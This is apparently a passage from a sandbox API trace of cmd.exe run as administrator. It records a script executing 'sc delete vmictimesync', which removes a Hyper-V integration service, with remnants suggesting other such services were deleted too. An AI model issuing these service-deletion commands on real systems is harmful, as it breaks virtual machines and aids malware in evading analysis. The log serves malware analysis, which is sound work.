dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="m\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="etbeat\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="sbeat\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="yeat\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="nat\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="ct\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="\n\nface\n") returned 1 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] GetFileType (hFile=0xb8) returned 0x3 [0068.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.442] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.443] GetFileType (hFile=0x120) returned 0x3 [0068.443] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmictimesync\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmictimesync\n", lpUsedDefaultChar=0x0) returned 24 [0068.443] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x17, lpOverlapped=0x0) returned 1 [0068.443] GetProcessHeap () returned 0x4a0000 [0068.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bfb10 [0068.443] GetProcessHeap () returned 0x4a0000 [0068.443] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0068.443] GetProcessHeap () returned 0x4a0000 [0068.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.443] GetProcessHeap () returned 0x4a0000 [0068.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0068.443] GetProcessHeap () returned 0x4a0000 [0068.443] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3a) returned 0x4baa40 [0068.443] GetConsoleOutputCP () returned 0x1b5 [0068.444] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.444] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.444] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.444] GetProcessHeap () returned 0x4a0000 [0068.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.444] GetProcessHeap () returned 0x4a0000 [0068.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa90 [0068.444] GetProcessHeap () returned 0x4a0000 [0068.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0068.444] SetErrorMode (uMode=0x0) returned 0x1 [0068.444] SetErrorMode (uMode=0x1) returned 0x0 [0068.444] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.444] SetErrorMode (uMode=0x1) returned 0x1 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0068.445] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.445] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.445] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.445] GetProcessHeap () returned 0x4a0000 [0068.445] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.445] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.445] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.445] GetLastError () returned 0x2 [0068.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.446] GetLastError () returned 0x2 [0068.446] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.446] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.446] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.446] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.446] GetLastError () returned 0x2 [0068.446] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.446] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.446] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.446] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.446] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.447] GetProcessHeap () returned 0x4a0000 [0068.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4bc630 [0068.447] GetConsoleTitleW (in: lpConsoleTitle=0x4bc640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.447] GetProcessHeap () returned 0x4a0000 [0068.447] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc630, Size=0xa6) returned 0x4bc630 [0068.447] GetProcessHeap () returned 0x4a0000 [0068.447] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc630) returned 0xa6 [0068.447] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmictimesync") returned 1 [0068.447] GetProcessHeap () returned 0x4a0000 [0068.447] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc630 | out: hHeap=0x4a0000) returned 1 [0068.447] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.447] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.447] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.448] GetProcessHeap () returned 0x4a0000 [0068.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.448] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.449] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.449] GetProcessHeap () returned 0x4a0000 [0068.449] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.449] GetProcessHeap () returned 0x4a0000 [0068.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b98a0 [0068.449] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmictimesync", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmictimesync", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmictimesync", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x834, dwThreadId=0x844)) returned 1 [0068.452] CloseHandle (hObject=0x50) returned 1 [0068.452] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.452] GetProcessHeap () returned 0x4a0000 [0068.452] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.453] GetEnvironmentStringsW () returned 0x4bba10* [0068.453] GetProcessHeap () returned 0x4a0000 [0068.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.453] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.453] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.453] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.453] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.529] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0068.529] CloseHandle (hObject=0x54) returned 1 [0068.529] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0068.529] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.529] GetProcessHeap () returned 0x4a0000 [0068.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.529] GetEnvironmentStringsW () returned 0x4bba10* [0068.530] GetProcessHeap () returned 0x4a0000 [0068.530] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.530] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.530] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.530] GetProcessHeap () returned 0x4a0000 [0068.530] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.530] GetEnvironmentStringsW () returned 0x4bba10* [0068.530] GetProcessHeap () returned 0x4a0000 [0068.530] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.530] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.530] GetProcessHeap () returned 0x4a0000 [0068.530] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0068.530] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.530] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.531] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.531] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.531] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.531] GetConsoleOutputCP () returned 0x1b5 [0068.531] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.531] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0068.532] GetProcessHeap () returned 0x4a0000 [0068.532] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.532] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.532] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.532] GetFileType (hFile=0x120) returned 0x3 [0068.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.533] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.533] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.533] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.533] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.533] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.533] GetFileType (hFile=0x120) returned 0x3 [0068.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.533] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.533] GetFileType (hFile=0xb8) returned 0x3 [0068.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmictimesync\n\nface\n") returned 1 [0068.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.534] ReadFile (in: hFile=0xb8, 